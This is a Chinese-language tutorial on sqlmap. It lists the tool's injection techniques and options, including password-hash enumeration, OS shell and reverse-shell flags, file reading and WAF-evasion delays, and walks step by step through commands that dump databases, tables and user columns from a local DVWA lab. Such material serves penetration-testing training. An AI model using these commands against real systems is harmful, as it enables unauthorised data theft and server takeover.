0x01概述
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞,目前支持 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等主流数据库。 Sqlmap 使用 5 种 SQL 注入技术(不加参数默认测试所有注入技术):
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
当使用 Sqlmap 检测一个指定 Url 时,它会执行以下操作:
判断是否有可注入的参数
判断可以用哪种 Sql 注入技术来注入
识别出目标使用哪种数据库
按照用户选择,读取目标数据
0x02参数
- --risk 风险等级
--risk 1 测试大部分的测试语句(默认为1)
--risk 2 增加基于时间的测试语句
--risk 3 增加or语句的sql注入测试 - --level 探测等级,数值越高,等级越高,默认为1
在不确定哪个payload或参数为注入点时,为了保证全面性,建议使用高的level值
--level 2 会探测cookie
--level 3 会探测http user-agent、referer头 - -v x 参数指定回显信息的复杂度,x属于[0~6]
共有 7 个等级,默认为 1:
-0 只显示python错误以及严重的信息。
-1 同时显示基本信息和警告信息。(默认)
-2 同时显示debug信息。
-3 同时显示注入的payload。
-4 同时显示HTTP请求。
-5 同时显示HTTP响应头。
-6 同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3,例如:
python sqlmap.py -v 3 -u "www.adc.com/def.jsp?id=xxx" - -u 指定Sql注入测试的url
- -r 读请求包 抓包保存在一个文件
- -b 获取DBMSbanner
- -m 从文本中加载目标请求 文本中有多个url,sqkmap会一个一个的检测(用url采集器进行采集)
- -g 从google的搜索结果中测试
- --data 把数据以post方式提交 格式--data=“key=value”
- --cookie 设置cookie的值 --level 需要设置为2
- -–current-db 获取当前数据库
- -–current-user 获取当前用户
- --string 匹配页面中的字符串
- –-users 枚举DBMS用户
- –-password 枚举DBMS用户密码hash
- –-dbs 枚举DBMS中的数据库
- -D 要枚举的DBMS数据库
- –-tables 枚举DBMS数据库中的数据表(和-D组合使用)
- -T 要枚举的DBMS数据库表
- –-columns 枚举DBMS数据库表中的所有列(和-D-T组合使用)
- -C 要枚举的DBMS数据表中的列(和-D-T-C组合使用)
- –-dump 获取DBMS数据表项
- –-privileges 查看权限
- –-privileges-Uroot 查看指定用户权限
- –-os-cmd=whoami 执行系统命令
- –-os-shell 系统交互shell
- –-os-pwn 反弹shell
- –-reg-read 读取win系统注册表
- –-dbs-o“sqlmap.log” #保存进度
- --is-dba 判断当前用户是不是数据库管理员
- --dbms=mysql oracle 指定数据库、过waf,节省时间
- --flush-session 清除缓存
- --delay 过安全狗 --delay=0.5 半秒钟访问一次
- --timeout 设定多长时间判定超时
- --safe-url,--safe-freq 有的web会在你多次访问错误的请求时屏蔽掉你以后所有的请求,safe-url提供一个安全不错误的连接,每隔一段时间访问
- --union-cols 默认情况下sqlmap测试union查询注入会测试1-10个组的呀不是公寓,当--level为5的时候他会增加测试到50个字段数 --union-cols 12-16
- -t a.tzt sqlmap会把http请求与相应日志保存在这里
- --batch 不需要用户输入,将使用sqlmap提示的默认值一直运行下去
- --charset 强制指定字符编码 --charset=GBK
- --mobile 适用于只能用手机打开的页面
- --time-sec 相当于sleep(5)
执行sql语句 - --sql-query=“select @@version”
- --sql-shell 只能执行select
0x03 基本测试步骤
1、 python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" #注意参数必须使用双引号括起来
获取信息示例:
DBMS 使用的是Mysql
Web 服务器操作系统是 Ubuntu 15.10
Web 容器是 Apache 2.4.12
Mysql 版本大于等于 5.0
当使用 Sqlmap 检测一个指定的 Url 后,它会将结果保存在本地,这样我们下次在检车这个 Url 的时候就可以立刻返回信息,节约大量时间。
2、 python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -b --current-user --current-db,可获得如下信息
使用-b --current-db --current-user 命令来分别获取服务器 banner 信息、当前数据库和当前用户
Web容器banner信息:5.6.31-0ubuntu0.15.10.1
网站使用的数据库当前用户:root@localhost
网站使用的数据库名:dvwa
Sqlmap 还有一个非常厉害的命令 --users和--password ,可以尝试直接枚举 DBMS 的所有注册用户和对应的密码(猜解 password 字段时,因为使用了 hash 加密,所以 Sqlmap 会询问是否破解此 hash值,只需要按Enter使用缺省值就可以了)
3、 python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --dbs
使用 --dbs 命令枚举 DBMS 中的所有数据库名
4、python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" --tables
我们可以选择感兴趣的数据库进一步获取信息,这里我们选择 dvwa 继续进行实验。 使用 -D 命令指定目标数据库,使用 --tables 枚举目标数据库中的数据表
5、 python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" --columns
同样我们可以选择目标数据表,获取其中的字段信息,这里我们选择 users 表: 使用 -T 命令指定目标数据表,使用 --columns命令枚举目标数据表中的字段信息
6、 python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" -C "user" --dump
我们再选择目标字段,猜解出它的值~ 使用 -C 命令指定目标字段,--dump 命令猜解其中的值
7、python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" -C
"first_name,last_name" --dump
我们也可以一次猜解多个字段信息,使用,隔开就行了
8、其他测试语句
- sqlmap.py -u " " --current-user --proxy "http://127.0.0.1:8080"
- sqlmap.py -r x/x/post.txt --dumps -table sqlmap跑post,将post请求保存在一个文件中
- sqlmap.py -u url --data="A=111&B=222" post的--data方法
0x04总结
1、Sqlmap 的基础语法:python sqlmap.py XXXX
2、命令格式和 linux 的 bash 命令一样,都是单个字母前面用 - ,单词前面用--
3、利用 Sqlmap 初步检测可以获取到哪些信息?可以初步检测出系统使用的数据库、web服务器、web容器、mysql版本。服务器banner,当前数据库和当前用户
4、利用 Sqlmap爆库的思路和过程:先获得数据库名称、进而获得数据库表名称->获得数据库内字段名称->破解关键字段信息
0x05 小tips
- -vvv 查看sqlmap发送的测试数据
如何对json格式的post数据注入
使用 -r 参数来注入,SQLmap 会自动识别 JSON 格式并发现注入点
https://zhuanlan.zhihu.com/p/...- 注入后获取文件 --file-read
- 获取系统shell --os-shell
- 命令方式执行系统shell --os-cmd
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。